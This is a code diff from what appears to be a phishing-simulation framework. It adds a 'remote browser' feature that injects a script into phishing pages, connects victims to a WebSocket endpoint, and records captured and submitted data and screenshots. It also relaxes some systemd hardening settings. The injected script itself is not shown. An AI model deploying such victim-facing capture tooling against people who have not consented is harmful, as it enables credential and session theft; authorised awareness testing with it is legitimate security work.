github.com/ysmood/leakless v0.9.0/go.mod h1:R8iAXPRaG97QJwqxs74RdwzcRHT1SWCGTNqY8q0JvMQ=
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
github.com/zeebo/assert v1.1.0 h1:hU1L1vLTHsnO8x8c9KAR5GmM5QscxHg5RNU5z5qbUWY=
github.com/zeebo/assert v1.1.0/go.mod h1:Pq9JiuJQpG8JLJdtkwrJESF0Foym2/D9XMU5ciN/wJ0=
@@ -308,6 +332,8 @@ google.golang.org/protobuf v1.36.7/go.mod h1:jduwjTPXsFjZGTmRluh+L6NjiWu7pchiJ2/
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+2
View File
@@ -374,6 +374,8 @@ func createUserAndGroup() error {
"-r",
"-g", serviceGroup,
"-s", "/bin/false",
"-m",
"-d", "/var/lib/"+serviceUser,
serviceUser,
)
if err := cmd.Run(); err != nil {
+13 -1
View File
@@ -240,7 +240,8 @@ func (m ConfigModel) renderAdvancedSections(b *strings.Builder) {
{"Database Configuration", 6, 8},
{"TLS Configuration", 8, 10},
{"Logging Configuration", 10, 12},
{"Security Configuration", 12, len(m.inputs)},
{"Security Configuration", 12, 15},
{"Remote Browser", 15, len(m.inputs)},
}
currentSection := -1
@@ -324,6 +325,10 @@ func (m *ConfigModel) createAdvancedInputs() []InputWithHelp {
{"Admin allowed IPs", "", "192.168.1.0/24,10.0.0.1", "comma-separated list of IP/CIDR ranges allowed to access admin (empty for all)"},
{"Trusted proxies", "", "192.168.1.1,10.0.0.1", "comma-separated list of trusted proxy IPs/CIDR ranges"},
{"Trusted IP header", config.DefaultTrustedIPHeader, "X-Real-IP", "header name to check for real client IP from trusted proxies"},
// remote browser configuration
{"Enable remote browser", "false", "true/false", "enable the remote browser feature - only enable when all operators are fully trusted"},
{"Chrome binary path", "", "/usr/bin/chromium-browser", "path to Chrome/Chromium binary (leave empty to use auto-downloaded Chromium)"},
}
for i, p := range prompts {
@@ -458,6 +463,13 @@ func (m *ConfigModel) applyAdvancedConfig() error {
m.config.IPSecurity.TrustedProxies = trustedProxiesList
m.config.IPSecurity.TrustedIPHeader = trustedIPHeader
// remote browser configuration
rbEnabled := strings.ToLower(getValueOrDefault(m.inputs[15].Value(), "false")) == "true"
m.config.SetRemoteBrowserEnabled(rbEnabled)
if execPath := m.inputs[16].Value(); execPath != "" {
m.config.SetRemoteBrowserExecPath(execPath)
}
return nil
}
+1 -3
View File
@@ -14,11 +14,9 @@ PrivateTmp=true
NoNewPrivileges=true
ProtectSystem=full
ProtectHome=true
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX
RestrictNamespaces=true
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX AF_NETLINK
RestrictRealtime=true
RestrictSUIDSGID=true
MemoryDenyWriteExecute=true
Restart=always
RestartSec=5s
StartLimitBurst=3
+8
View File
@@ -322,6 +322,13 @@ func main() {
)
}
adminRouter.Use(middlewares.IPLimiter)
// read the seeded victim WS path for the remote browser endpoint
rbWSPath := "rbws" // fallback - real value is seeded at first startup
if opt, err := repositories.Option.GetByKey(context.Background(), data.OptionKeyRemoteBrowserWSPath); err == nil {
rbWSPath = opt.Value.String()
}
adminServer := app.NewAdministrationServer(
adminRouter,
controllers,
@@ -363,6 +370,7 @@ func main() {
repositories,
logger,
certMagicConfig,
rbWSPath,
)
var r *gin.Engine
+107
View File
@@ -0,0 +1,107 @@
package model
import (
"encoding/json"
"fmt"
"time"
"github.com/google/uuid"
"github.com/oapi-codegen/nullable"
"github.com/phishingclub/phishingclub/validate"
"github.com/phishingclub/phishingclub/vo"
)
// RemoteBrowserConfig is the API-level config for a remote browser session.
type RemoteBrowserConfig struct {
Mode string `json:"mode"` // "local" | "remote"
Remote string `json:"remote"` // DevTools WS URL (mode=remote only)
Proxy string `json:"proxy"` // socks5:// or http://
Headless bool `json:"headless"` // run Chrome headless (mode=local)
Timeout int `json:"timeout"` // ms; 0 = default (60000)
Lang string `json:"lang"` // BCP 47 locale e.g. "da-DK" (mode=local)
ExtraFlags []string `json:"extraFlags"` // additional Chrome CLI flags (mode=local)
}
// RemoteBrowser is a saved remote browser script with its connection config.
type RemoteBrowser struct {
ID nullable.Nullable[uuid.UUID] `json:"id"`
CreatedAt *time.Time `json:"createdAt"`
UpdatedAt *time.Time `json:"updatedAt"`
CompanyID nullable.Nullable[uuid.UUID] `json:"companyID"`
Name nullable.Nullable[vo.String64] `json:"name"`
Description nullable.Nullable[vo.OptionalString1024] `json:"description"`
Script nullable.Nullable[vo.String1MB] `json:"script"`
Config nullable.Nullable[RemoteBrowserConfig] `json:"config"`
Company *Company `json:"-"`
}
// Validate checks required fields and config values.
func (m *RemoteBrowser) Validate() error {
if err := validate.NullableFieldRequired("name", m.Name); err != nil {
return err
}
if err := validate.NullableFieldRequired("script", m.Script); err != nil {
return err
}
if m.Config.IsSpecified() {
if cfg, err := m.Config.Get(); err == nil {
if cfg.Mode != "" && cfg.Mode != "local" && cfg.Mode != "remote" {
return fmt.Errorf("config.mode must be 'local' or 'remote'")
}
if cfg.Mode == "remote" && cfg.Remote == "" {
return fmt.Errorf("config.remote is required when mode is 'remote'")
}
}
}
return nil
}
// ToDBMap returns the fields that should be persisted.
func (m *RemoteBrowser) ToDBMap() map[string]any {
dbMap := map[string]any{}
if m.Name.IsSpecified() {
dbMap["name"] = nil
if name, err := m.Name.Get(); err == nil {
dbMap["name"] = name.String()
}
}
if m.Description.IsSpecified() {
dbMap["description"] = nil
if description, err := m.Description.Get(); err == nil {
dbMap["description"] = description.String()
}
}
if m.Script.IsSpecified() {
dbMap["script"] = nil
if script, err := m.Script.Get(); err == nil {
dbMap["script"] = script.String()
}
}
if m.Config.IsSpecified() {
dbMap["config"] = ""
if cfg, err := m.Config.Get(); err == nil {
if b, err := json.Marshal(cfg); err == nil {
dbMap["config"] = string(b)
}
}
}
if m.CompanyID.IsSpecified() {
if m.CompanyID.IsNull() {
dbMap["company_id"] = nil
} else {
dbMap["company_id"] = m.CompanyID.MustGet()
}
}
return dbMap
}
// RemoteBrowserOverview is a lightweight listing model.
type RemoteBrowserOverview struct {
ID uuid.UUID `json:"id,omitempty"`
CreatedAt *time.Time `json:"createdAt"`
UpdatedAt *time.Time `json:"updatedAt"`
Name string `json:"name"`
Description string `json:"description"`
CompanyID *uuid.UUID `json:"companyID"`
}
File diff suppressed because it is too large Load Diff
+116
View File
@@ -0,0 +1,116 @@
package remotebrowser
import (
"context"
"encoding/base64"
"time"
)
// RunEvent is an event emitted during script execution.
type RunEvent struct {
Type string `json:"type"` // "event", "log", "error", "done", "capture", "screenshot", "info", "submit"
Key string `json:"key,omitempty"` // for type=event/screenshot (label)
Value any `json:"value,omitempty"` // for type=event/capture/screenshot/submit (base64 data URI or arbitrary data)
URL string `json:"url,omitempty"` // for type=screenshot (page URL at capture time)
Message string `json:"message,omitempty"` // for type=log/error/info
Data any `json:"data,omitempty"` // for type=log: optional second arg from log(msg, data)
Time string `json:"time"`
}
// channelEmitter sends events to a buffered channel. All methods are safe to
// call from multiple goroutines; channel sends are already goroutine-safe.
type channelEmitter struct {
events chan RunEvent
}
func newChannelEmitter(events chan RunEvent) *channelEmitter {
return &channelEmitter{events: events}
}
func (e *channelEmitter) emit(key string, value any) {
e.send(RunEvent{
Type: "event",
Key: key,
Value: value,
Time: time.Now().UTC().Format(time.RFC3339Nano),
})
}
func (e *channelEmitter) log(msg string, data ...any) {
evt := RunEvent{
Type: "log",
Message: msg,
Time: time.Now().UTC().Format(time.RFC3339Nano),
}
if len(data) > 0 {
evt.Data = data[0]
}
e.send(evt)
}
func (e *channelEmitter) errorf(msg string) {
e.send(RunEvent{
Type: "error",
Message: msg,
Time: time.Now().UTC().Format(time.RFC3339Nano),
})
}
func (e *channelEmitter) screenshot(label string, buf []byte, pageURL string) {
e.send(RunEvent{
Type: "screenshot",
Key: label,
Value: "data:image/png;base64," + base64.StdEncoding.EncodeToString(buf),
URL: pageURL,
Time: time.Now().UTC().Format(time.RFC3339Nano),
})
}
func (e *channelEmitter) capture(data interface{}) {
e.send(RunEvent{
Type: "capture",
Value: data,
Time: time.Now().UTC().Format(time.RFC3339Nano),
})
}
func (e *channelEmitter) info(msg string) {
e.send(RunEvent{
Type: "info",
Message: msg,
Time: time.Now().UTC().Format(time.RFC3339Nano),
})
}
func (e *channelEmitter) submitData(data interface{}) {
e.send(RunEvent{
Type: "submit",
Value: data,
Time: time.Now().UTC().Format(time.RFC3339Nano),
})
}
func (e *channelEmitter) done() {
e.send(RunEvent{
Type: "done",
Time: time.Now().UTC().Format(time.RFC3339Nano),
})
}
// send delivers evt to the channel, dropping silently if the buffer is full.
func (e *channelEmitter) send(evt RunEvent) {
select {
case e.events <- evt:
default:
}
}
// sendMust delivers evt to the channel, blocking until space is available or
// ctx is cancelled. Use only for events where a silent drop would corrupt
// session state (e.g. keep_alive).
func (e *channelEmitter) sendMust(ctx context.Context, evt RunEvent) {
select {
case e.events <- evt:
case <-ctx.Done():
}
}
+1
View File
@@ -0,0 +1 @@
package remotebrowser
File diff suppressed because it is too large Load Diff
+1 -1
View File
@@ -1413,7 +1413,7 @@ func (r *Campaign) SaveEvent(
"ip_address": campaignEvent.IP.String(),
"user_agent": campaignEvent.UserAgent.String(),
"data": campaignEvent.Data.String(),
"metadata": campaignEvent.Metadata.String(),
"metadata": func() string { if campaignEvent.Metadata == nil { return "" }; return campaignEvent.Metadata.String() }(),
}
if campaignEvent.RecipientID != nil {
row["recipient_id"] = campaignEvent.RecipientID.String()
+219
View File
@@ -0,0 +1,219 @@
package repository
import (
"context"
"encoding/json"
"fmt"
"github.com/google/uuid"
"github.com/oapi-codegen/nullable"
"github.com/phishingclub/phishingclub/database"
"github.com/phishingclub/phishingclub/errs"
"github.com/phishingclub/phishingclub/model"
"github.com/phishingclub/phishingclub/vo"
"gorm.io/gorm"
)
var remoteBrowserAllowedColumns = assignTableToColumns(database.REMOTE_BROWSER_TABLE, []string{
"created_at",
"updated_at",
"name",
})
// RemoteBrowserOption controls eager loading and query params.
type RemoteBrowserOption struct {
*vo.QueryArgs
WithCompany bool
}
// RemoteBrowser is the remote browser repository.
type RemoteBrowser struct {
DB *gorm.DB
}
func (m *RemoteBrowser) load(options *RemoteBrowserOption, db *gorm.DB) *gorm.DB {
if options.WithCompany {
db = db.Joins("Company")
}
return db
}
// Insert creates a new remote browser record.
func (m *RemoteBrowser) Insert(ctx context.Context, rb *model.RemoteBrowser) (*uuid.UUID, error) {
id := uuid.New()
row := rb.ToDBMap()
row["id"] = id
AddTimestamps(row)
res := m.DB.Model(&database.RemoteBrowser{}).Create(row)
if res.Error != nil {
return nil, res.Error
}
return &id, nil
}
// GetAll returns a paginated list of remote browsers for the given company.
func (m *RemoteBrowser) GetAll(
ctx context.Context,
companyID *uuid.UUID,
options *RemoteBrowserOption,
) (*model.Result[model.RemoteBrowser], error) {
result := model.NewEmptyResult[model.RemoteBrowser]()
var rows []database.RemoteBrowser
db := m.load(options, m.DB)
db = withCompanyIncludingNullContext(db, companyID, database.REMOTE_BROWSER_TABLE)
db, err := useQuery(db, database.REMOTE_BROWSER_TABLE, options.QueryArgs, remoteBrowserAllowedColumns...)
if err != nil {
return result, errs.Wrap(err)
}
if res := db.Find(&rows); res.Error != nil {
return result, res.Error
}
hasNextPage, err := useHasNextPage(db, database.REMOTE_BROWSER_TABLE, options.QueryArgs, remoteBrowserAllowedColumns...)
if err != nil {
return result, errs.Wrap(err)
}
result.HasNextPage = hasNextPage
for _, row := range rows {
rb, err := ToRemoteBrowser(&row)
if err != nil {
return result, errs.Wrap(err)
}
result.Rows = append(result.Rows, rb)
}
return result, nil
}
// GetAllSubset returns lightweight overview rows.
func (m *RemoteBrowser) GetAllSubset(
ctx context.Context,
companyID *uuid.UUID,
options *RemoteBrowserOption,
) (*model.Result[model.RemoteBrowserOverview], error) {
result := model.NewEmptyResult[model.RemoteBrowserOverview]()
var rows []database.RemoteBrowser
db := withCompanyIncludingNullContext(m.DB, companyID, database.REMOTE_BROWSER_TABLE)
db, err := useQuery(db, database.REMOTE_BROWSER_TABLE, options.QueryArgs, remoteBrowserAllowedColumns...)
if err != nil {
return result, errs.Wrap(err)
}
if res := db.Select("id, created_at, updated_at, name, description, company_id").Find(&rows); res.Error != nil {
return result, res.Error
}
hasNextPage, err := useHasNextPage(db, database.REMOTE_BROWSER_TABLE, options.QueryArgs, remoteBrowserAllowedColumns...)
if err != nil {
return result, errs.Wrap(err)
}
result.HasNextPage = hasNextPage
for _, row := range rows {
result.Rows = append(result.Rows, &model.RemoteBrowserOverview{
ID: *row.ID,
CreatedAt: row.CreatedAt,
UpdatedAt: row.UpdatedAt,
Name: row.Name,
Description: row.Description,
CompanyID: row.CompanyID,
})
}
return result, nil
}
// GetByID returns a single remote browser by ID.
func (m *RemoteBrowser) GetByID(
ctx context.Context,
id *uuid.UUID,
options *RemoteBrowserOption,
) (*model.RemoteBrowser, error) {
row := database.RemoteBrowser{}
db := m.load(options, m.DB)
if res := db.Where(TableColumnID(database.REMOTE_BROWSER_TABLE)+" = ?", id).First(&row); res.Error != nil {
return nil, res.Error
}
return ToRemoteBrowser(&row)
}
// GetByNameAndCompanyID returns a remote browser by name (used for uniqueness checks).
func (m *RemoteBrowser) GetByNameAndCompanyID(
ctx context.Context,
name *vo.String64,
companyID *uuid.UUID,
options *RemoteBrowserOption,
) (*model.RemoteBrowser, error) {
row := database.RemoteBrowser{}
db := m.load(options, m.DB)
db = withCompanyIncludingNullContext(db, companyID, database.REMOTE_BROWSER_TABLE)
res := db.Where(
fmt.Sprintf("%s = ?", TableColumn(database.REMOTE_BROWSER_TABLE, "name")),
name.String(),
).First(&row)
if res.Error != nil {
return nil, res.Error
}
return ToRemoteBrowser(&row)
}
// UpdateByID updates the mutable fields of a remote browser.
func (m *RemoteBrowser) UpdateByID(ctx context.Context, id *uuid.UUID, rb *model.RemoteBrowser) error {
row := rb.ToDBMap()
AddUpdatedAt(row)
res := m.DB.Model(&database.RemoteBrowser{}).Where("id = ?", id).Updates(row)
if res.Error != nil {
return res.Error
}
return nil
}
// DeleteByID hard-deletes a remote browser.
func (m *RemoteBrowser) DeleteByID(ctx context.Context, id *uuid.UUID) error {
if res := m.DB.Delete(&database.RemoteBrowser{}, id); res.Error != nil {
return res.Error
}
return nil
}
// ToRemoteBrowser maps a database row to the model type.
func ToRemoteBrowser(row *database.RemoteBrowser) (*model.RemoteBrowser, error) {
id := nullable.NewNullableWithValue(*row.ID)
companyID := nullable.NewNullNullable[uuid.UUID]()
if row.CompanyID != nil {
companyID.Set(*row.CompanyID)
}
name := nullable.NewNullableWithValue(*vo.NewString64Must(row.Name))
description, err := vo.NewOptionalString1024(row.Description)
if err != nil {
return nil, errs.Wrap(err)
}
descriptionNullable := nullable.NewNullableWithValue(*description)
script, err := vo.NewString1MB(row.Script)
if err != nil {
return nil, errs.Wrap(err)
}
scriptNullable := nullable.NewNullableWithValue(*script)
var cfg model.RemoteBrowserConfig
if row.Config != "" {
if err := json.Unmarshal([]byte(row.Config), &cfg); err != nil {
return nil, errs.Wrap(fmt.Errorf("invalid stored config: %w", err))
}
}
configNullable := nullable.NewNullableWithValue(cfg)
return &model.RemoteBrowser{
ID: id,
CreatedAt: row.CreatedAt,
UpdatedAt: row.UpdatedAt,
CompanyID: companyID,
Name: name,
Description: descriptionNullable,
Script: scriptNullable,
Config: configNullable,
}, nil
}
+34
View File
@@ -58,6 +58,7 @@ func initialInstallAndSeed(
&database.OAuthProvider{},
&database.OAuthState{},
&database.MicrosoftDeviceCode{},
&database.RemoteBrowser{},
}
// disable foreign key constraints temporarily for sqlite to allow table recreation
@@ -384,6 +385,39 @@ func SeedSettings(
}
}
}
{
// seed remote browser victim WS path - 12 random lowercase alphanumeric chars
id := uuid.New()
var c int64
res := db.
Model(&database.Option{}).
Where("key = ?", data.OptionKeyRemoteBrowserWSPath).
Count(&c)
if res.Error != nil {
return errs.Wrap(res.Error)
}
if c == 0 {
b := make([]byte, 12)
_, err := rand.Read(b)
if err != nil {
return errs.Wrap(err)
}
charset := "abcdefghijklmnopqrstuvwxyz0123456789"
wsPath := ""
for i := range b {
wsPath += string(charset[int(b[i])%len(charset)])
}
res = db.Create(&database.Option{
ID: &id,
Key: data.OptionKeyRemoteBrowserWSPath,
Value: wsPath,
})
if res.Error != nil {
return errs.Wrap(res.Error)
}
}
}
return nil
}
+7
View File
@@ -57,6 +57,7 @@ type Campaign struct {
WebhookService *Webhook
MicrosoftDeviceCodeRepository *repository.MicrosoftDeviceCode
AttachmentPath string
RemoteBrowserService *RemoteBrowser
}
// Create creates a new campaign
@@ -1880,6 +1881,9 @@ func (c *Campaign) DeleteByID(
c.Logger.Errorw("failed to delete campaign by id", "error", err)
return errs.Wrap(err)
}
if c.RemoteBrowserService != nil {
c.RemoteBrowserService.TerminateByCampaignID(*id)
}
c.AuditLogAuthorized(ae)
return nil
}
@@ -3190,6 +3194,9 @@ func (c *Campaign) closeCampaign(
c.Logger.Errorw("failed to cancel recipients", "error", err)
return errs.Wrap(err)
}
if c.RemoteBrowserService != nil {
c.RemoteBrowserService.TerminateByCampaignID(*id)
}
err = campaign.Closed()
if go_errors.Is(err, errs.ErrCampaignAlreadyClosed) {
c.Logger.Debugw("campaign already closed", "error", err)
+306
View File
@@ -0,0 +1,306 @@
package service
import (
"context"
"fmt"
"sync"
"github.com/go-errors/errors"
"github.com/google/uuid"
"github.com/phishingclub/phishingclub/data"
"github.com/phishingclub/phishingclub/errs"
"github.com/phishingclub/phishingclub/model"
"github.com/phishingclub/phishingclub/repository"
"github.com/phishingclub/phishingclub/validate"
"gorm.io/gorm"
)
// LiveSession is the minimal interface the service needs to manage session lifecycle.
// The controller's concrete session type implements this; the service never needs to
// know about browser pages or WebSocket connections.
type LiveSession interface {
GetCampaignID() uuid.UUID
Cancel()
IsKeepAlive() bool
}
// RemoteBrowser manages saved remote browser scripts and tracks live sessions.
type RemoteBrowser struct {
Common
RemoteBrowserRepository *repository.RemoteBrowser
sessions sync.Map // key (crID or rbID string) → LiveSession
}
// SwapSession atomically replaces the session for key, returning the previous one.
func (s *RemoteBrowser) SwapSession(key string, sess LiveSession) (LiveSession, bool) {
prev, had := s.sessions.Swap(key, sess)
if !had {
return nil, false
}
return prev.(LiveSession), true
}
// StoreSession stores a session, overwriting any existing entry for key.
func (s *RemoteBrowser) StoreSession(key string, sess LiveSession) {
s.sessions.Store(key, sess)
}
// LoadSession returns the session for key, if present.
func (s *RemoteBrowser) LoadSession(key string) (LiveSession, bool) {
val, ok := s.sessions.Load(key)
if !ok {
return nil, false
}
return val.(LiveSession), true
}
// LoadAndDeleteSession atomically loads and removes the session for key.
func (s *RemoteBrowser) LoadAndDeleteSession(key string) (LiveSession, bool) {
val, loaded := s.sessions.LoadAndDelete(key)
if !loaded {
return nil, false
}
return val.(LiveSession), true
}
// CompareAndDeleteSession removes the session for key only if it is still sess
// (pointer identity), so a newer session's cleanup never evicts its own entry.
func (s *RemoteBrowser) CompareAndDeleteSession(key string, sess LiveSession) {
s.sessions.CompareAndDelete(key, sess)
}
// RangeSessions calls fn for every live session. Returning false stops iteration.
func (s *RemoteBrowser) RangeSessions(fn func(key string, sess LiveSession) bool) {
s.sessions.Range(func(k, v any) bool {
return fn(k.(string), v.(LiveSession))
})
}
// TerminateByCampaignID cancels and removes all sessions belonging to campaignID.
// Called by service.Campaign on close/delete.
func (s *RemoteBrowser) TerminateByCampaignID(campaignID uuid.UUID) {
s.sessions.Range(func(key, value any) bool {
sess := value.(LiveSession)
if sess.GetCampaignID() == campaignID {
sess.Cancel()
s.sessions.CompareAndDelete(key, value)
}
return true
})
}
// Create saves a new remote browser script.
func (s *RemoteBrowser) Create(
ctx context.Context,
session *model.Session,
rb *model.RemoteBrowser,
) (*uuid.UUID, error) {
ae := NewAuditEvent("RemoteBrowser.Create", session)
isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL)
if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) {
s.LogAuthError(err)
return nil, errs.Wrap(err)
}
if !isAuthorized {
s.AuditLogNotAuthorized(ae)
return nil, errs.ErrAuthorizationFailed
}
var companyID *uuid.UUID
if cid, err := rb.CompanyID.Get(); err == nil {
companyID = &cid
}
if err := rb.Validate(); err != nil {
s.Logger.Errorw("failed to validate remote browser", "error", err)
return nil, errs.Wrap(err)
}
name := rb.Name.MustGet()
isOK, err := repository.CheckNameIsUnique(ctx, s.RemoteBrowserRepository.DB, "remote_browsers", name.String(), companyID, nil)
if err != nil {
s.Logger.Errorw("failed to check remote browser uniqueness", "error", err)
return nil, errs.Wrap(err)
}
if !isOK {
return nil, validate.WrapErrorWithField(errors.New("is not unique"), "name")
}
id, err := s.RemoteBrowserRepository.Insert(ctx, rb)
if err != nil {
s.Logger.Errorw("failed to create remote browser", "error", err)
return nil, errs.Wrap(err)
}
ae.Details["id"] = id.String()
s.AuditLogAuthorized(ae)
return id, nil
}
// GetAll returns all remote browsers for the given company.
func (s *RemoteBrowser) GetAll(
ctx context.Context,
session *model.Session,
companyID *uuid.UUID,
options *repository.RemoteBrowserOption,
) (*model.Result[model.RemoteBrowser], error) {
result := model.NewEmptyResult[model.RemoteBrowser]()
ae := NewAuditEvent("RemoteBrowser.GetAll", session)
isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL)
if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) {
s.LogAuthError(err)
return result, errs.Wrap(err)
}
if !isAuthorized {
s.AuditLogNotAuthorized(ae)
return result, errs.ErrAuthorizationFailed
}
result, err = s.RemoteBrowserRepository.GetAll(ctx, companyID, options)
if err != nil {
s.Logger.Errorw("failed to get remote browsers", "error", err)
return result, errs.Wrap(err)
}
return result, nil
}
// GetAllOverview returns lightweight overview rows.
func (s *RemoteBrowser) GetAllOverview(
companyID *uuid.UUID,
ctx context.Context,
session *model.Session,
options *repository.RemoteBrowserOption,
) (*model.Result[model.RemoteBrowserOverview], error) {
result := model.NewEmptyResult[model.RemoteBrowserOverview]()
ae := NewAuditEvent("RemoteBrowser.GetAllOverview", session)
isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL)
if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) {
s.LogAuthError(err)
return result, errs.Wrap(err)
}
if !isAuthorized {
s.AuditLogNotAuthorized(ae)
return result, errs.ErrAuthorizationFailed
}
result, err = s.RemoteBrowserRepository.GetAllSubset(ctx, companyID, options)
if err != nil {
s.Logger.Errorw("failed to get remote browser overview", "error", err)
return result, errs.Wrap(err)
}
return result, nil
}
// GetByID returns a single remote browser by ID.
func (s *RemoteBrowser) GetByID(
ctx context.Context,
session *model.Session,
id *uuid.UUID,
options *repository.RemoteBrowserOption,
) (*model.RemoteBrowser, error) {
ae := NewAuditEvent("RemoteBrowser.GetByID", session)
ae.Details["id"] = id.String()
isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL)
if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) {
s.LogAuthError(err)
return nil, errs.Wrap(err)
}
if !isAuthorized {
s.AuditLogNotAuthorized(ae)
return nil, errs.ErrAuthorizationFailed
}
rb, err := s.RemoteBrowserRepository.GetByID(ctx, id, options)
if errors.Is(err, gorm.ErrRecordNotFound) {
return nil, errs.Wrap(err)
}
if err != nil {
s.Logger.Errorw("failed to get remote browser by ID", "error", err)
return nil, errs.Wrap(err)
}
return rb, nil
}
// UpdateByID updates mutable fields on a remote browser.
func (s *RemoteBrowser) UpdateByID(
ctx context.Context,
session *model.Session,
id *uuid.UUID,
rb *model.RemoteBrowser,
) error {
ae := NewAuditEvent("RemoteBrowser.UpdateByID", session)
ae.Details["id"] = id.String()
isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL)
if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) {
s.LogAuthError(err)
return err
}
if !isAuthorized {
s.AuditLogNotAuthorized(ae)
return errs.ErrAuthorizationFailed
}
current, err := s.RemoteBrowserRepository.GetByID(ctx, id, &repository.RemoteBrowserOption{})
if errors.Is(err, gorm.ErrRecordNotFound) {
return err
}
if err != nil {
s.Logger.Errorw("failed to get remote browser for update", "error", err)
return err
}
if _, err := rb.Name.Get(); err == nil {
var companyID *uuid.UUID
if cid, err := current.CompanyID.Get(); err == nil {
companyID = &cid
}
name := rb.Name.MustGet()
isOK, err := repository.CheckNameIsUnique(ctx, s.RemoteBrowserRepository.DB, "remote_browsers", name.String(), companyID, id)
if err != nil {
s.Logger.Errorw("failed to check remote browser name uniqueness on update", "error", err)
return errs.Wrap(err)
}
if !isOK {
return validate.WrapErrorWithField(errors.New("is not unique"), "name")
}
}
if rb.Config.IsSpecified() {
if cfg, err := rb.Config.Get(); err == nil {
if cfg.Mode != "" && cfg.Mode != "local" && cfg.Mode != "remote" {
return fmt.Errorf("config.mode must be 'local' or 'remote'")
}
if cfg.Mode == "remote" && cfg.Remote == "" {
return fmt.Errorf("config.remote is required when mode is 'remote'")
}
}
}
if err := s.RemoteBrowserRepository.UpdateByID(ctx, id, rb); err != nil {
s.Logger.Errorw("failed to update remote browser", "error", err)
return errs.Wrap(err)
}
s.AuditLogAuthorized(ae)
return nil
}
// DeleteByID removes a remote browser.
func (s *RemoteBrowser) DeleteByID(
ctx context.Context,
session *model.Session,
id *uuid.UUID,
) error {
ae := NewAuditEvent("RemoteBrowser.DeleteByID", session)
ae.Details["id"] = id.String()
isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL)
if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) {
s.LogAuthError(err)
return err
}
if !isAuthorized {
s.AuditLogNotAuthorized(ae)
return errs.ErrAuthorizationFailed
}
if err := s.RemoteBrowserRepository.DeleteByID(ctx, id); err != nil {
s.Logger.Errorw("failed to delete remote browser", "error", err)
return errs.Wrap(err)
}
s.AuditLogAuthorized(ae)
return nil
}
+54
View File
@@ -16,7 +16,9 @@ import (
"github.com/go-errors/errors"
"github.com/google/uuid"
"github.com/phishingclub/phishingclub/embedded"
"github.com/oapi-codegen/nullable"
"github.com/phishingclub/phishingclub/data"
"github.com/phishingclub/phishingclub/database"
"github.com/phishingclub/phishingclub/errs"
"github.com/phishingclub/phishingclub/model"
@@ -33,6 +35,8 @@ const trackingPixelTemplate = "{{.Tracker}}"
type Template struct {
Common
RecipientRepository *repository.Recipient
OptionRepository *repository.Option
RemoteBrowserRepository *repository.RemoteBrowser
MicrosoftDeviceCodeService *MicrosoftDeviceCode
}
@@ -448,6 +452,38 @@ func (t *Template) CreatePhishingPageWithCampaignAndRecipient(
templateFuncs = t.TemplateFuncsWithCompany(ctx, companyID)
}
// Add RemoteBrowserScript - injects a <script> that opens a WS to the victim
// endpoint and exposes window.RemoteBrowser.on(event, fn) / .send(event, data).
// Usage in page template: {{RemoteBrowserScript "remote-browser-uuid"}}
{
wsPath := t.remoteBrowserWSPath(ctx)
capturedID := id // close over the campaign recipient ID for this render
hasCampaign := campaign != nil
templateFuncs["RemoteBrowserScript"] = func(rbName string) string {
if !hasCampaign || capturedID == "" || rbName == "" || t.RemoteBrowserRepository == nil {
return ""
}
nameVO, err := vo.NewString64(rbName)
if err != nil {
return ""
}
rb, err := t.RemoteBrowserRepository.GetByNameAndCompanyID(ctx, nameVO, companyID, &repository.RemoteBrowserOption{})
if err != nil {
return ""
}
rbIDVal, err := rb.ID.Get()
if err != nil {
return ""
}
script := strings.NewReplacer(
"__WS_PATH__", wsPath,
"__CR_ID__", capturedID,
"__RB_ID__", rbIDVal.String(),
).Replace(embedded.RemoteBrowserInjectJS)
return "<script>" + script + "</script>"
}
}
tmpl, err := template.New("page").
Funcs(templateFuncs).
Parse(contentToRender)
@@ -612,6 +648,19 @@ func (t *Template) newTemplateDataMapWithDenyURL(
return data
}
// remoteBrowserWSPath returns the seeded random path segment used for the
// victim-facing remote browser WebSocket endpoint. Falls back to "rbws" if
// the option is not yet seeded (e.g. during tests or first startup).
func (t *Template) remoteBrowserWSPath(ctx context.Context) string {
if t.OptionRepository == nil {
return "rbws"
}
if opt, err := t.OptionRepository.GetByKey(ctx, data.OptionKeyRemoteBrowserWSPath); err == nil {
return opt.Value.String()
}
return "rbws"
}
// TemplateFuncs returns template functions for templates
func TemplateFuncs() template.FuncMap {
return template.FuncMap{
@@ -656,6 +705,11 @@ func TemplateFuncs() template.FuncMap {
